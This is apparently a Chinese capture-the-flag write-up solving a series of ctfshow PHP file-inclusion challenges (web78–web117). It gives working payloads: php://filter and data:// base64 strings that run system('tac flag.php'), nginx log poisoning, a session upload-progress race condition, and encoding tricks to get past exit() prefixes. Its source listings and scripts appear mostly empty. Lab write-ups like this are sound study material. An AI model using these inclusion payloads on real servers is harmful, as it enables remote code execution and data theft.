文件包含
web78
源码:
1 |
|
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
web79
源码:
1 |
|
利用str_replace函数把php替换成了???
用另一个伪协议
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs= |
web80
源码:
1 |
|
过滤了data 上一题的payload不能用了
随便访问一个不存在的文件可以看到服务器是nginx
区包含日志文件
1 | ?file=/var/log/nginx/access.log |
因为太乱了 不好看 所以直接传个马
这样也可以
web81
源码:
1 |
|
包含日志文件 然后包含UA
1 | ?file=/var/log/nginx/access.log |
web82
源码:
1 |
|
因为过滤了. 无法继续包含access.log了
新技巧:
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园 cnblogs.com
1 | 问题一代码里没有session_start(),如何创建session文件呢。解答一其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。问题二但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,如何进行rce呢?解答二此时我们可以利用竞争,在session文件内容清空前进行包含利用。 session是以文件的形式保存的php.ini中有个配置项–session.save_path= "";这个里面填写的路径,将会使session文件保存在该路径下。session文件的命名格式是:sess_[PHPSESSID的值]。每一个文件,里面保存了一个会话的数据。其实只要使用代码$_SESSION['user_id'] = $value;就会促发php的session机制,结果往对应的session文件中写入一个值。 利用前要弄明白下面几个点: session文件默认路径默认路径:linux: /tmp 或 /var/lib/php/sessionWindows:C:\WINDOWS\Temp session文件名称默认文件名称是 sess_[PHPSESSID的值]ps: session.use_strict_mode默认值为0, 此时用户是可以自己定义Session ID比如,我们在Cookie里设置PHPSESSID=test,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO session生成机制:a. 代码里面有session_start()在使用类似$_SESSION['user_id'] = $value;这样的操作时会创建session文件b. 如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start(),但默认情况下,这个选项都是关闭的。 如何控制session文件内容a. session的key或者value等可控b.利用session.upload_progress在session.upload_progress.enabled = on的配置下,upload_progress功能开始.意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度,上传文件名等)存储在session当中 ,但是要注意session.upload_progress.cleanup = on配置,on表示当文件上传结束后,php将会立即清空对应session文件中的内容(可以利用条件竞争来读取)session.uoload_progress一些别的配置:session.upload_progress.prefix 默认值为upload_progress_session.upload_progress.name : The name of the key to be used in $_SESSION storing the progress information.Defaults to “PHP_SESSION_UPLOAD_PROGRESS”如 session.upload_progress.prefix = 'upload_progress_' session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件: |
可以通过上传PHP_SESSION_UPLOAD_PROGRESS
然后进行访问/tmp/sess_xxx,进行文件包含
构造上传
1 |
|
第一个post包
第二个get包
一起开启爆破
看到fl0g.php
修改post包的payload
继续同时发包
通杀脚本
1 | # -*- coding: utf-8 -*- |
web83
源码:
1 | Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14 |
比上一题多了两个函数
session_unset();
session_destroy();
出现警告 在进行使用session_destroy()函数必须先调用session_start()函数。
构造上传
1 |
|
第一个post包
第二个get包
一起开启爆破 得到flag文件名
修改脚本 读取flag
web84
源码:
1 |
|
还是与之前一样 利用条件竞争读取
这次换个方式 改用脚本
1 | # -*- coding: utf-8 -*- |
web85
源码:
1 |
|
判断了php开头标签位置
上脚本
1 | # -*- coding: utf-8 -*- |
web86
源码:
1 |
|
上脚本
1 | # -*- coding: utf-8 -*- |
web87
源码:
1 |
|
相关知识:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://xz.aliyun.com/t/8163#toc-3
死亡exit
使用base64绕过die函数
1 | php://filter/write=convert.base64-decode/resource=1.php |
1 | PD9waHAgc3lzdGVtKCd0YWMgZionKTs= // system('tac f*'); |
在base64语句前随便加两个字符 凑够phpdiexx 可以被base64解码
剩下的PD9waHAgc3lzdGVtKCd0YWMgZionKTs= 正常被解码然后执行
1 | content=aaPD9waHAgc3lzdGVtKCd0YWMgZionKTs= |
urldecode($file)
浏览器解码一次 函数解码一次
所以需要对file进行二次url编码
然后访问php文件即可看到flag ( 也可以写一个一句话木马进去)
web88
源码:
1 |
|
get方式接收file参数 过滤了很多符号 如果能够通过匹配就被包含
和79题差不多 但是这里过滤了等号 base64中=是用来填充的 可以去掉
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw |
web116
打开网页是一段视频
用foremost提取出一张图片
直接查看flag.php
file_get_contents可以直接读取
1 | view-source:http://85a4a1cb-1bc9-4085-b47d-207e3bb654ae.challenge.ctf.show:8080/index.php?file=flag.php |
web117
死亡exit
源码:
1 |
|
需要绕过die 过滤了常用的base64和rot13
换一个编码方式 php支持的字符编码
payload:
1 | GET |
###